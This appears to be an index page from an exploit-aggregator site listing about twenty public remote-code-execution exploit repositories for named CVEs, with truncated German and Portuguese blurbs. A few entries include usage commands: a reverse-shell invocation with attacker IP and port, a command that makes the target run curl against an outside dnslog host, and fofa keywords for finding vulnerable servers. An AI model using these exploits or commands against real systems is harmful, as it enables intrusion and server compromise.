Foxit-Reader-RCE-with-virualalloc-and-shellcode-for-CVE-2018-9948-and-CVE-2018-9958

Benutzerdefinierter Exploit : Foxit Reader Version 9.0.1.1049 Use After Free mit ASLR- und DEP-Umgehung auf dem Heap Mein benutzerdefinierter Exploit : Foxit-Reader-RCE-with-virualalloc-and-shellcode-for-CVE-2018-9948-and-CVE-2018-9958 Benutzerdefinierter Exploit für Win 7 Hat Platz für Shellcode...

CVE-2019-7214

CVE-2019-7214 root@kitploit: Exploit Title: SmarterMail Build 6985 Remote Code Execution Exploit Author: 1F98D Original Author: Soroush Dalili Modified Author: Drew Alleman Date: 10 May 2020 Vendor Hompage: https://www.smartertools.com/ CVE: CVE-2019-7214 Tested on: Windows 10 x64 References:...

CVE-2017-12636

CVE-2017-12636 Usage: python3 exp.py target version1.6|2.1 reverseip reverseport root@kitploit: / \ | | | | / | |/ | | / / | / \ / || |/ | | / / | | | | ' / /'| |/' || | / /| | ' / /'/ / / / / | | | | | | || / / | /| | | | / /|| | / / | \ \ \ \ | /\ / / | ./ /\ |/ /| |./ / | |./ /| / |./ / /...

CVE-2024-21413-Microsoft-Outlook-RCE-Exploit

CVE-2024-21413-Microsoft-Outlook-RCE-Exploit CVE-2024-21413 Microsoft Outlook RCE Exploit...

CVE-2022-1388

CVE-2022-1388 F5 BIG-IP nicht authentifizierte RCE-Sicherheitslücke F5 BIG-IP iControl REST Authentifizierungs-Bypass RCE-Schwachstelle fofa-Schlüsselwörter: title="BIG-IP- Redirect" Verwendung Angriff root@kitploit: $ python3 cve-2022-1388.py -t https://203.xxx.xxx.xxx + https://203.xxx.xxx.xxx ...

CVE-2022-22947-pb-ai

CVE-2022-22947 Spring Cloud Gateway – Anwendung zur Verifizierung der Schwachstelle Dies ist eine Spring Cloud Gateway-Anwendung, die speziell zur Demonstration und Verifizierung der Schwachstelle CVE-2022-22947 entwickelt wurde. Die Anwendung verwendet eine anfällige Version von Spring Cloud...

confluence-rce-poc

confluence-rce-poc Einrichten des POC für CVE-2021-26084 Docker Gebe das offizielle docker-entrypoint.sh an postgres weiter, ändere DB-Benutzername und Passwort nach Bedarf...

CVE-2025-69690-CVE-2025-69691

🔐 CVE-2025-69690 & CVE-2025-69691 Authentifizierte Remote-Codeausführung in Netgate pfSense Community Edition 📋 Zusammenfassung...

CVE-2020-0601

ChainOfFools AKA CurveBall AKA CVE-2020-0601 Sammlung von CVE-2020-0601 ChainOfFools | CurveBall Ressourcen Allgemein Eine Zusammenfassung aus der NSA-Warnung besagt. NSA hat eine kritische Schwachstelle CVE-2020-0601 entdeckt, die die kryptografische Funktionalität von Microsoft Windows®1...

go-get-RCE

go-get-RCE Este é o exploit do CVE-2018-6574: go get RCE Esta vulnerabilidade afeta o comando go get do Golang e permite que um invasor obtenha execução de código em um sistema que instala sua biblioteca maliciosa. Este é um bom exemplo de uma vulnerabilidade que pode ser explorada usando...

CVE-2023-34039

CVE-2023-34039 POC para CVE-2023-34039 VMWare Aria Operations for Networks vRealize Network Insight RCE por chave SSH estática Análise Técnica Uma análise de causa raiz da vulnerabilidade pode ser encontrada no meu blog:...

CVE-2021-22205

CVE-2021-22205 Versões afetadas: Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 Uso root@kitploit: python3 CVE-2021-22205.py target "curl \whoami.dnslog" Obter csrf-token: Obter o csrf-token via /users/signin e então usar o CVE-2021-22205 poc para construir um pacote de upload e...

CVE-2026-48908

🚨 CVE-2026-48908 — Vollständige Serverkompromittierung durch beliebigen Dateiupload Kritischer nicht authentifizierter Dateiupload → Remotecodeausführung RCE Eine kritische Schwachstelle in SP Page Builder ermöglicht es nicht authentifizierten Angreifern, beliebige Dateien hochzuladen und...

CVE-2018-15961

CVE-2018-15961 - RCE no Adobe ColdFusion Este repositório contém o código do meu exploit para a vulnerabilidade RCE no Adobe ColdFusion 2021. Descrição do Exploit O exploit envia uma requisição POST contendo um reverse shell JSP para /cfscripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm...

CVE-2023-42793

CVE-2023-42793 - TeamCity Admin Account Creation führt zu RCE Verwende zuerst exploit.py, um ein Administratorkonto zu erstellen, und verwende dann rce.py, um Befehle auf dem Ziel auszuführen. Für eine Reverse Shell siehe hier Exploit-Skript Beschreibung Dieses Skript nutzt CVE-2023-42793 aus, um...

CVE-2023-22518

CVE-2023-22518 Exploit für Confluence CVE-2023-22518 Backup-Wiederherstellungs-RCE Endpunkt POST /setup/setup-restore.action Erfordert gültige Anmeldung und Admin-Rechte oder einen Authentifizierungs-Bypass Dateien xmlexport-20231127-071916-1.zip – leeres Confluence-Backup. Das Wiederherstellen...

CVE-2019-2107

CVE-2019-2107 CVE-2019-2107 CVE-2019-2107 - parece assustador. Ainda me lembro das vulnerabilidades do Stagefright e dos bugs do PNG.... Com o CVE-2019-2107, o decodificador/codec roda sob o usuário mediacodec e, com um vídeo devidamente "elaborado" com tiles habilitados - pspps-i1tilesenabledfla...

CVE-2021-21978

CVE-2021-21978 CVE-2021-21978 exploit de RCE Versões afetadas VMware View Planner Harness 4.X Semelhante ao CVE-2021-21978, esta vulnerabilidade permite fazer upload de arquivos arbitrários sem autenticação e obter execução remota de código ao modificar scripts .py próprios. Vale notar que a...

CVE-2026-38526

CVE-2026-38526 - Krayin CRM PHP Upload RCE Automatisierter Exploit für Krayin CRM ≤ 2.2.x. Dieses Skript nutzt eine Schwachstelle für uneingeschränkten Dateiupload im TinyMCE-Endpunkt /admin/tinymce/upload aus, umgeht die MIME-Typ-Validierung durch Vortäuschung von image/jpeg, lädt eine...

CVE-2019-12949

CVE-2019-12949 Von Cross-Site-Scripting-Schwachstelle zu Remote-Code-Ausführung in pfSense 2.4.4-p2 und 2.4.4-p3 Informationsbeschreibung: In pfSense 2.4.4-p2 und 2.4.4-p3 kann ein Angreifer, wenn es möglich ist, den authentifizierten Administrator dazu zu bringen, auf einer Phishing-Seite auf...